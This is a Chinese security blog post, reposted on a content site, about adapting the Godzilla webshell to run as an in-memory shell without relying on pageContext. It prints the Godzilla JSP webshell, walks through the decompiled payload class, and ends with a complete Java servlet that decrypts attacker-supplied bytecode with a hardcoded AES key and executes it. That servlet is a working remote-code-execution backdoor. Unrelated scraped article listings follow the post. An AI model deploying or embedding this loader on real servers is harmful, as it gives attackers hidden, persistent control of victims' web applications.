解决哥斯拉内存马 pagecontext 的问题

2023-11-14

零基础学黑客,搜索公众号:白帽子左一

前言

注入内存马借助当前的webshell工具而言,冰蝎可以通过创建hashmap放入request、response、session替换pagecontext来解决

HttpSession session = lastRequest.getSession();
pageContext.put("request", lastRequest);
pageContext.put("response", lastResponse);
pageContext.put("session", session);

能这么写的原因是因为冰蝎做了处理

图片

会从传入的obj中分别取到request、response、session。

而哥斯拉没有这么做,如何破局?

哥斯拉连接分析

哥斯拉是基于动态加载class字节码实现的webshell工具。

先看一下jsp的shell

<%! String xc = "3c6e0b8a9c15224a";
    String pass = "pass";
    String md5 = md5(pass + xc);

    class X extends ClassLoader {
        public X(ClassLoader z) {
            super(z);
        }

        public Class Q(byte[] cb) {
            return super.defineClass(cb, 0, cb.length);
        }
    }
....省略加密解密的函数....
%>
<%
    try {
        byte[] data = base64Decode(request.getParameter(pass));
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", data);
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            Object f=((Class)session.getAttribute("payload")).newInstance();
            f.equals(arrOut);
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0, 16));
            f.toString();
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
            response.getWriter().write(md5.substring(16));
        }
    } catch (Exception e) {
    }
%>

先判断session中payload是否为空,如果为空就用classloader加载解密之后的字节码data。

如果不为空将data赋值到session的parameters参数,然后从session中拿到定义的payload类,创建实例再进行了两次equals和一次tostring,两次equals分别传入ByteArrayOutputStream和pageContext。

通过bp代理看一下“测试连接”的过程

图片

点完测试连接后bp多了两个请求

图片

再点success的确定按钮后又多了一个请求。

一共三个请求,这三个请求分别干了什么?

为了调试,我们需要反编译哥斯拉源码找到

godzilla\shells\payloads\java\assets\payload.classs文件,反编译回来后在idea项目中创建一个payload类,将源码粘贴进去。另外还需要关闭idea的自动tostring。

图片

然后修改jsp让其加载我们自己的payload.class而非从session中加载

<%
    try {
        byte[] data = base64Decode(request.getParameter(pass));
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", data);
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            Object f = ((Class) Class.forName("payload")).newInstance();
            f.equals(arrOut);
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0, 16));
            f.toString();
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
            response.getWriter().write(md5.substring(16));
        }
    } catch (Exception e) {
    }
%>

payload类结构

payload类是哥斯拉的功能实现类,其中有多个函数比如文件操作、命令执行等功能实现

图片

而入口在equals()函数

图片

handle()是真正的逻辑,noLog是不记录tomcat连接日志的函数。进入handle看下

public boolean handle(Object obj) {
    if (obj == null) {
        return false;
    } else {
        Class streamClazz = ByteArrayOutputStreamClazz;
        if (streamClazz == null) {
            try {
                streamClazz = Class.forName("java.io.ByteArrayOutputStream");
            } catch (ClassNotFoundException var7) {
                throw new NoClassDefFoundError(var7.getMessage());
            }

            ByteArrayOutputStreamClazz = streamClazz;
        }

        if (streamClazz.isAssignableFrom(obj.getClass())) {
            this.outputStream = (ByteArrayOutputStream) obj;
            return false;
        } else {
            if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")) {
                this.servletRequest = obj;
            } else if (this.supportClass(obj, "%s.servlet.ServletRequest")) {
                this.servletRequest = obj;
            } else {
                streamClazz = byteArrayClazz;
                if (streamClazz == null) {
                    try {
                        streamClazz = Class.forName("[B");
                    } catch (ClassNotFoundException var6) {
                        throw new NoClassDefFoundError(var6.getMessage());
                    }

                    byteArrayClazz = streamClazz;
                }

                if (streamClazz.isAssignableFrom(obj.getClass())) {
                    this.requestData = (byte[]) obj;
                } else if (this.supportClass(obj, "%s.servlet.http.HttpSession")) {
                    this.httpSession = obj;
                }
            }

            this.handlePayloadContext(obj);
            if (this.servletRequest != null && this.requestData == null) {
                Object var10001 = this.servletRequest;
                Class[] var10003 = new Class[1];
                Class var10006 = stringClazz;
                if (var10006 == null) {
                    try {
                        var10006 = Class.forName("java.lang.String");
                    } catch (ClassNotFoundException var5) {
                        throw new NoClassDefFoundError(var5.getMessage());
                    }

                    stringClazz = var10006;
                }

                var10003[0] = var10006;
                Object retVObject = this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{"parameters"});
                if (retVObject != null) {
                    streamClazz = byteArrayClazz;
                    if (streamClazz == null) {
                        try {
                            streamClazz = Class.forName("[B");
                        } catch (ClassNotFoundException var4) {
                            throw new NoClassDefFoundError(var4.getMessage());
                        }

                        byteArrayClazz = streamClazz;
                    }

                    if (streamClazz.isAssignableFrom(retVObject.getClass())) {
                        this.requestData = (byte[]) retVObject;
                    }
                }
            }
            return true;
        }
    }
}

分段来看,第一次equals的时候传入的是ByteArrayOutputStream实例

图片

将其赋值给this.outputStream,this.outputStream是输出流,存储了response内容。

第二段equals的是pagecontext

图片

先填充request,然后判断是否是session,如果是字节数组则说明是post参数 this.requestData = (byte[]) obj; 如果是HttpSession实例则放入this.httpSession

接着handlePayloadContext()填充request上下文和session

图片

然后调用session.getAttribute(“parameters”)拿到requestData

图片

第三段是toString

图片

initSessionMap()初始化一个sessionMap放一些信息,然后formatParameter格式化参数map,然后this.run()

在formatParameter()函数中向参数map中放键值对

图片

给他打印出来看一看,bp三个请求打印了两个键值对

图片

第一个请求是加载class字节码的,然后第二个第三个请求时调用字节码功能,通过methodName来调用。接着run()完之后写输出。

那么请求流程就到这里,接下来看如何解决

解决pagecontext
上文讲到,requestData是post body,我们传入pagecontext的目的是为了通过session拿到parameters,那么如果我们抛弃session,直接把parameters通过equals函数传给payload类呢?

图片

bp第一个请求是加载字节码,我们通过defClass加载进去,然后第二个请求分为四个阶段

equals传入ByteArrayOutputStream实例填充outputStream
equals传递解码之后的data填充requestData
equals传递HttpServletRequest填充request
toString写response输出结果
而在第二阶段正是因为在payload#handle()中这段代码的出现解决了pagecontext

图片

完整代码

package com.example.demo3;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

@WebServlet(name = "helloServlet", value = "/hello")
public class HelloServlet extends HttpServlet {
    String xc = "3c6e0b8a9c15224a";
    String pass = "pass";
    String md5 = md5(pass + xc);
    Class payload;

    public static String md5(String s) {
        String ret = null;
        try {
            java.security.MessageDigest m;
            m = java.security.MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
        } catch (Exception e) {
        }
        return ret;
    }

    public static String base64Encode(byte[] bs) throws Exception {
        Class base64;
        String value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }

    public static byte[] base64Decode(String bs) throws Exception {
        Class base64;
        byte[] value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }

    public byte[] x(byte[] s, boolean m) {
        try {
            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
            return c.doFinal(s);
        } catch (Exception e) {
            return null;
        }
    }

    public Class defClass(byte[] classBytes) throws Throwable {
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
        Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        defMethod.setAccessible(true);
        return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            byte[] data = base64Decode(req.getParameter(pass));
            data = x(data, false);
            if (payload == null) {
                payload = defClass(data);
            } else {
                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
                Object f = payload.newInstance();
                f.equals(arrOut);
                f.equals(data);
                f.equals(req);
                resp.getWriter().write(md5.substring(0, 16));
                f.toString();
                resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
                resp.getWriter().write(md5.substring(16));
            }
        } catch (Throwable e) {
        }
    }
}

文末

其实完整代码还是北辰发我的,我只是探究了一下其原因,这种pagecontext的问题还是得深入看工具的功能实现才能解决问题。

另外自己在写冰蝎内存马的时候遇到了包装类的问题,而哥斯拉不存在这个问题。因为哥斯拉是通过参数传递的payload,而冰蝎是直接把字节码放在了body中。

图片

只能说哥斯拉yyds!

作者:Y4er

原文地址:https://y4er.com/post/solve-the-problem-of-godzilla-memory-shell-pagecontext/

在这里插入图片描述

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

解决哥斯拉内存马 pagecontext 的问题 的相关文章

  • 2.Python数据分析项目——旅游景点票价预测

    1 总结 流程 具体操作 基本查看 查看缺失值 查看数值类型 预处理 缺失值处理 填充 拆分数据 获取有需要的值 统一数据格式 数据分析 groupby分组求最值数据 seaborn可视化 预测 RandomForestRegressor
  • vite简单介绍和配置整理

    vite简单介绍和配置整理 一 介绍 Vite 法语 快的意思 是一个HTTP服务器 特殊的地方 可以在单文件中书写ES6语法 支持热更新 请求的内容才会被打包 更新 Rollup打包 二 配置 总的配置 import defineConf
  • MySQL 8.0 密码策略修改

    首次登录mysql 需要修改原始密码 mysql gt show databases ERROR 1820 HY000 You must reset your password using ALTER USER statement befo
  • Ground Rules

    Ground Rules 1 Ground rules ground ra nd n 地面 土 土地 土壤 v 触海底 使停飞 阻止 起飞 罚 儿童 不准出去玩 adj 磨细的 剁碎的 rule ru l n 规则 统治 控制 管理 v 统
  • C语言:getchar( ) 函数详解

    文章目录 一 getchar 函数定义 二 函数返回值 三 注意区分 getchar 和 scanf 四 getchar 的使用实例 一 getchar 函数定义 getchar 字符输入函数 没有参数 从输入缓冲区里面读取一个字符 一次只

随机推荐

  • 解决EasyExcel导出文件LocalDateTime报错问题

    文章目录 问题引出 解决方案 自定义Converter 引用 LocalDateTimeConverter 搞定收工 问题引出 狗子我在参与一个项目的时候接触到数据表格导出为Excel表格的需求 但是在导出的时候会出现报错 Cannot f
  • 代码走查和代码审查_代码审查是个好主意的其他原因

    代码走查和代码审查 什么是代码审查 What are Code Reviews A Code Review is essentially what it sounds like a review of code before it is a
  • 虚拟机由于电脑未正常关机打不开问题-两种情况

    虚拟机由于电脑未正常关机打不开问题 我来总结我遇到的两种情况 文章目录 虚拟机由于电脑未正常关机打不开问题 第一种情况 报错 锁定文件失败 第二种情况 报错 指定的虚拟磁盘需要进行修复 第一种情况 报错 锁定文件失败 如果出现锁定文件失败
  • Unity自动创建脚本及预制体并绑定

    自己写了一套流程控制的框架 根据不同的状态执行不同的命令 每个状态判断和命令都是一个场景中的物体 不想每次重复同样的操作 创建脚本再创建预制体再绑定脚本 所以尝试写了一个自动创建脚本与预制体的工具 StateMachineEditorUti
  • 指针解析 (*&p和&*p)

    p指向a p的值是a的地址 的作用 定义 int p 定义一个int类型的指针变量 取地址对应的数据 p 获取 下的值 p的值 对应的值 即 0x1000 5 p和 p的区别 p p 获取p的地址 即0x1008 p 即 0x1008 获取
  • matlab MinGW-w64 C/C++ Compiler 的配置(附百度云下载资源)

    环境 win10 matlab r2019b 起因 安装某matlab工具包时需要使用命令 mex setup 弹出常见错误 即需要编译器 两种编译器的尝试 由于那道墙的存在 让试错成本变得如此巨大 首先 matlab推荐了两种编译器 1
  • 漏洞公布平台汇总

    https www cnvd org cn https www seebug org https fr 0day today https www exploit db com https packetstormsecurity com
  • LU分解(matlab实现)

    LU分解 LU Decomposition 是矩阵分解的一种 可以将一个矩阵分解为一个下三角矩阵和一个上三角矩阵的乘积 主要的算法思路是从下至上地对矩阵A做初等行变换 将对角线左下方的元素变成零 这些行变换的效果等同于左乘一系列单位下三角矩
  • 区块链GAMEFI游戏——NFT+DeFi+游戏

    GameFi指的是将去中心化金融产品以游戏的方式呈现 将DeFi的规则游戏化 将游戏道具产品NFT化 即GameFi NFT DeFi 游戏 DeFi是GameFi的内核 NFT是去中心化的必备手段 而游戏是GameFi的外壳 NFT De
  • 视频编码格式发展史

    1 编码标准之战 想预测未来 就回顾历史 先来看看H 264这些编码的从标准化到现在普及的过程 人们一直在想尽办法提高视频编码的效率 让它在尽可能小的体积内提供最好的画面质量 从而满足人们对于视频传输 存储的需求 长期以来 视频编码标准主要
  • MySQL标准差和方差函数使用

    一 方差 方差是在概率论和统计方差衡量随机变量或一组数据时离散程度的度量 概率论中方差用来度量随机变量和其数学期望 即均值 之间的偏离程度 统计中的方差 样本方差 是每个样本值与全体样本值的平均数之差的平方值的平均数 在许多实际问题中 研究
  • matlab求二元函数极值算法_[小白头秃]多元函数基本概念总结

    1 基本概念 点集 区间 领域 一维 直线 实数集 线段 端点 不含端点 二维 平面 实平面 平面区域 边界 不含边界 三维 空间 实空间 曲面 边界 体 表面 不含边界 表面 点和点集的关系 内点 外点 边界点
  • 四叉树初步研究

    JS 四叉树初步研究 四叉树 为何要叫四叉树 二叉树与八叉树又是生么东东 看样子理解起来比较困难 实现该如何入手 树 就是树的结构 树根 树干 树枝 树叶 还有好吃的果实 o 其实树这种结构 很常见的 JSON 不就是最普通的树吗 四叉树的
  • html js清除缓存,js清除浏览器缓存的几种方法

    JS 缓存的问题一直都是我们又爱又恨的东西 也是我们比较头痛的问题 一方面为了提高网站响应速度 减少服务器的负担 和节省带宽 将需要将静态资源缓存在客户端 但是另一方面 当js 文件有改动的时候 如何快速的将客户端缓存的js文件都失效 这是
  • win环境下emacs实现markdown的html预览

    1 参考文档 https libraries io github jrblevin markdown mode 2 实现的核心思想是用pandoc生成html进行markdown的预览 把pandoc exe直接放到emacs bin目录下
  • windows 虚拟机相关功能、组件梳理

    简介 英文名称 中文名称 说明 Container 容器 Guarded Host 受保护的主机 利用远程证明创建并运行受防护的虚拟机 Hyper V Hyper V Management Tools Hyper V 管理工具 包含 GUI
  • Java Stream 实用特性:排序、分组和 teeing

    排序 基本数据类型排序 基本数据类型就是字符串 整型 浮点型这些 也就是要排序的列表中的元素都是这些基本类型的 比如 List
  • C#__资源访问冲突和死锁问题

    线程的资源访问冲突 多个线程同时申请一个资源 造成读写错乱 解决方案 上锁 lock 执行的程序段 同一时刻 只允许一个线程访问该程序段 死锁问题 程序中的锁过多 某一线程需要多个锁资源 而某个资源被另一线程占用 另一个线程同样如此 谁也不
  • 【mysql索引】之多列索引

    第零步 简单说一说 多列索引并不是指建立多个单列索引 而是指在多个字段建立一个索引 在多个列上建立独立的单列索引大部分情况下并不能提高MySQL的查询性能 MySQL在5 0之后推出了索引合并策略 index merge 一定程度上可以使用
  • 解决哥斯拉内存马 pagecontext 的问题

    零基础学黑客 搜索公众号 白帽子左一 前言 注入内存马借助当前的webshell工具而言 冰蝎可以通过创建hashmap放入request response session替换pagecontext来解决 HttpSession sessi